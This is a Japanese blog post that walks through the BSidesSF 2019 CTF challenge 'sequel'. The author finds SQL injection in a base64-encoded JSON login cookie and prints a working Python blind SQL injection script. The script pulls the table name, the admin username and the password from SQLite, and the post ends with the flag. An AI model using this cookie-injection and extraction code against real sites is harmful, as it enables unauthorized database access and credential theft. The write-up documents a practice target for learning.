こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

BSidesSF 2019 CTF Writeup - sequel

Question

f:id:graneed:20190305001501p:plain

Solution

usernameとpasswordを入力するログイン画面だけ。

適当にusernameとpasswordを試すと、guest/guestでログインに成功。

f:id:graneed:20190305002315p:plain

curlを使用してヘッダー情報等を確かめる。

root@kali:~# curl https://sequel-9cba4c8e.challenges.bsidessf.net/login -d "username=guest&password=guest" -i -L
HTTP/2 302 
location: /sequels
set-cookie: 1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9; HttpOnly
date: Mon, 04 Mar 2019 15:17:28 GMT
content-length: 0
via: 1.1 google
alt-svc: clear

HTTP/2 302 
content-type: text/html; charset=utf-8
location: /
date: Mon, 04 Mar 2019 15:17:28 GMT
content-length: 24
via: 1.1 google
alt-svc: clear

HTTP/2 200 
date: Mon, 04 Mar 2019 15:17:28 GMT
content-length: 1783
content-type: text/html; charset=utf-8
via: 1.1 google
alt-svc: clear


<!doctype html>
<html>
  <head>
    <title>Sequel Movie Database</title>
    <link rel="stylesheet"
          href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css"
          integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T"
          crossorigin="anonymous">
    <link href="https://afeld.github.io/emoji-css/emoji.css"
          rel="stylesheet"
          integrity="sha384-uGTTb3+0QIk5Qo4quqvZ240ObGuQyjGRx7O5BxG30zuaGowlT7gVbSSGAreaKSCl"
          crossorigin="anonymous">
    <link rel="stylesheet" href="/static/styles.css">
    <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"
            integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo"
            crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"
            integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1"
            crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"
            integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM"
            crossorigin="anonymous"></script>

  </head>
  <body class='text-center'>
    
<h2>Sequel Movie Database Login</h2>

<div class="loginbox">
  
  <form class="login" method="post" action="/login">
    <input type="hidden" name="guest_password" value="guest">
    <input type="text" id="username" class="form-control" name="username" placeholder="username">
    <input type="text" id="password" class="form-control" name="password" placeholder="password">
    <input type="submit" class="form-control" value="Log In">
  </form>
</div>

  </body>
</html>

Cookie1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9をセットされて、/sequelsにリダイレクトされている。

明らかにBASE64エンコード文字列であるため、デコードして確かめる。

root@kali:~# echo -n eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9 | base64 -d
{"username":"guest","password":"guest"}

usernameとpasswordがJSON形式でセットされていた。

ここが攻め筋と想定。

SQL Injectionを疑っていくつか試すと、

{"username":"guest\" or \"A\"=\"A","password":"guest"}

BASE64エンコードしてCookieにセットするとログインに成功した。

root@kali:~# echo '{"username":"guest\" or \"A\"=\"A","password":"guest"}' | base64
eyJ1c2VybmFtZSI6Imd1ZXN0XCIgb3IgXCJBXCI9XCJBIiwicGFzc3dvcmQiOiJndWVzdCJ9Cg==
root@kali:~# curl https://sequel-9cba4c8e.challenges.bsidessf.net/sequels -H 'Cookie:1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0XCIgb3IgXCJBXCI9XCJBIiwicGFzc3dvcmQiOiJndWVzdCJ9Cg=='

<!doctype html>
<html>
(snip)
<h2>Sequel Movie Database</h2>
(snip)
</html>

f:id:graneed:20190305002245p:plain

あとはBlind SQL Injectionを使用してテーブル内容を抽出するだけ。
以下、実行したスクリプト。DBはSQLiteだった。

import requests
import string
import base64

URL = 'https://sequel-9cba4c8e.challenges.bsidessf.net/sequels'
LETTERS = string.printable

target = ""

while True:
    f = False
    for e in LETTERS:
        tmp = target + e
        # 1.テーブル名を取得
        payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
        # 2.usernameを取得
        #payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
        # 3.passwordを取得
        #payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)

        payload = base64.b64encode(payload.encode('utf-8')).decode("utf-8")
        req = requests.Request(
            'GET',
            URL,
            params={
            },
            cookies={
                "1337_AUTH":payload
            }
        )
            
        prepared = req.prepare()
        s = requests.Session()
        r = s.send(prepared, allow_redirects = False)

        if "Movie" in r.text:
            target = tmp
            print(target)
            f = True
            break

    if f: continue
    exit()
  • # 1の実行結果より、テーブル名はuserinfo
  • # 2の実行結果より、usernameはsequeladmin
  • # 3の実行結果より、passwordはf5ec3af19f0d3679e7d5a148f4ac323d

ということがわかったので、ログインする。 f:id:graneed:20190305003337p:plain

 CTF{%did_you_LIKE_it%}

フラグゲット。